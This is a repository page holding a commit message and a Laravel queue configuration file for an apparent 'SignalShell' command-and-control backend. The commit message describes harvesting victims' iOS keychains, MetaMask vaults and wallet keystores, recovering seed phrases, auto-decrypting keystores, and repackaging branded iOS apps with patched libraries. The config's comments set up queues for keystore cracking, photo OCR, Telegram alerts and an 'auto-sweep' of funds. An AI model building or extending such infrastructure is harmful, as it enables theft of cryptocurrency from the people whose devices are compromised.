316b4cea51
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
187 lines
6.4 KiB
PHP
187 lines
6.4 KiB
PHP
<?php
|
|
|
|
return [
|
|
|
|
/*
|
|
|--------------------------------------------------------------------------
|
|
| Default Queue Connection Name
|
|
|--------------------------------------------------------------------------
|
|
|
|
|
| Laravel's queue supports a variety of backends via a single, unified
|
|
| API, giving you convenient access to each backend using identical
|
|
| syntax for each. The default queue connection is defined below.
|
|
|
|
|
*/
|
|
|
|
'default' => env('QUEUE_CONNECTION', 'database'),
|
|
|
|
/*
|
|
|--------------------------------------------------------------------------
|
|
| Queue Connections
|
|
|--------------------------------------------------------------------------
|
|
|
|
|
| Here you may configure the connection options for every queue backend
|
|
| used by your application. An example configuration is provided for
|
|
| each backend supported by Laravel. You're also free to add more.
|
|
|
|
|
| Drivers: "sync", "database", "beanstalkd", "sqs", "redis",
|
|
| "deferred", "background", "failover", "null"
|
|
|
|
|
*/
|
|
|
|
'connections' => [
|
|
|
|
'sync' => [
|
|
'driver' => 'sync',
|
|
],
|
|
|
|
'database' => [
|
|
'driver' => 'database',
|
|
'connection' => env('DB_QUEUE_CONNECTION'),
|
|
'table' => env('DB_QUEUE_TABLE', 'jobs'),
|
|
'queue' => env('DB_QUEUE', 'default'),
|
|
'retry_after' => (int) env('DB_QUEUE_RETRY_AFTER', 90),
|
|
'after_commit' => false,
|
|
],
|
|
|
|
'shell' => [
|
|
'driver' => 'database',
|
|
'connection' => env('DB_CONNECTION'),
|
|
'table' => 'jobs',
|
|
'queue' => 'shell',
|
|
'retry_after' => 300,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
'beanstalkd' => [
|
|
'driver' => 'beanstalkd',
|
|
'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'),
|
|
'queue' => env('BEANSTALKD_QUEUE', 'default'),
|
|
'retry_after' => (int) env('BEANSTALKD_QUEUE_RETRY_AFTER', 90),
|
|
'block_for' => 0,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
'sqs' => [
|
|
'driver' => 'sqs',
|
|
'key' => env('AWS_ACCESS_KEY_ID'),
|
|
'secret' => env('AWS_SECRET_ACCESS_KEY'),
|
|
'prefix' => env('SQS_PREFIX', 'https://sqs.us-east-1.amazonaws.com/your-account-id'),
|
|
'queue' => env('SQS_QUEUE', 'default'),
|
|
'suffix' => env('SQS_SUFFIX'),
|
|
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
|
|
'after_commit' => false,
|
|
],
|
|
|
|
'redis' => [
|
|
'driver' => 'redis',
|
|
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
|
'queue' => env('REDIS_QUEUE', 'default'),
|
|
'retry_after' => (int) env('REDIS_QUEUE_RETRY_AFTER', 90),
|
|
'block_for' => null,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
// CPU-heavy keystore decryption. Separate from the default queue so a
|
|
// long PBKDF2 run cannot be re-delivered while it is still working
|
|
// (retry_after must stay above the job timeout).
|
|
'keystore' => [
|
|
'driver' => 'redis',
|
|
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
|
'queue' => 'keystore',
|
|
'retry_after' => (int) env('KEYSTORE_QUEUE_RETRY_AFTER', 360),
|
|
'block_for' => null,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
// Latency-sensitive Telegram notifications. Kept off the default
|
|
// queue so a backlog of photo extracts / page hits cannot delay
|
|
// alerts by hours.
|
|
'telegram' => [
|
|
'driver' => 'redis',
|
|
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
|
'queue' => 'telegram',
|
|
'retry_after' => (int) env('TELEGRAM_QUEUE_RETRY_AFTER', 90),
|
|
'block_for' => null,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
// Auto-sweep / manual sweep. Latency-sensitive and unique-guarded;
|
|
// pulling it off the default queue keeps it from sitting behind bulk
|
|
// ingestion when money is ready to move.
|
|
'transfer' => [
|
|
'driver' => 'redis',
|
|
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
|
'queue' => 'transfer',
|
|
'retry_after' => (int) env('TRANSFER_QUEUE_RETRY_AFTER', 200),
|
|
'block_for' => null,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
// Photo archive extraction (7z + heavy IO, high volume). Isolated
|
|
// so its long tail cannot block alerts or sweeps; OCR sub-tasks are
|
|
// further dispatched to the `ocr` queue.
|
|
'extract' => [
|
|
'driver' => 'redis',
|
|
'connection' => env('REDIS_QUEUE_CONNECTION', 'default'),
|
|
'queue' => 'extract',
|
|
'retry_after' => (int) env('EXTRACT_QUEUE_RETRY_AFTER', 200),
|
|
'block_for' => null,
|
|
'after_commit' => false,
|
|
],
|
|
|
|
'deferred' => [
|
|
'driver' => 'deferred',
|
|
],
|
|
|
|
'background' => [
|
|
'driver' => 'background',
|
|
],
|
|
|
|
'failover' => [
|
|
'driver' => 'failover',
|
|
'connections' => [
|
|
'database',
|
|
'deferred',
|
|
],
|
|
],
|
|
|
|
],
|
|
|
|
/*
|
|
|--------------------------------------------------------------------------
|
|
| Job Batching
|
|
|--------------------------------------------------------------------------
|
|
|
|
|
| The following options configure the database and table that store job
|
|
| batching information. These options can be updated to any database
|
|
| connection and table which has been defined by your application.
|
|
|
|
|
*/
|
|
|
|
'batching' => [
|
|
'database' => env('DB_CONNECTION', 'sqlite'),
|
|
'table' => 'job_batches',
|
|
],
|
|
|
|
/*
|
|
|--------------------------------------------------------------------------
|
|
| Failed Queue Jobs
|
|
|--------------------------------------------------------------------------
|
|
|
|
|
| These options configure the behavior of failed queue job logging so you
|
|
| can control how and where failed jobs are stored. Laravel ships with
|
|
| support for storing failed jobs in a simple file or in a database.
|
|
|
|
|
| Supported drivers: "database-uuids", "dynamodb", "file", "null"
|
|
|
|
|
*/
|
|
|
|
'failed' => [
|
|
'driver' => env('QUEUE_FAILED_DRIVER', 'null'),
|
|
'database' => env('DB_CONNECTION', 'sqlite'),
|
|
'table' => 'failed_jobs',
|
|
],
|
|
|
|
];
|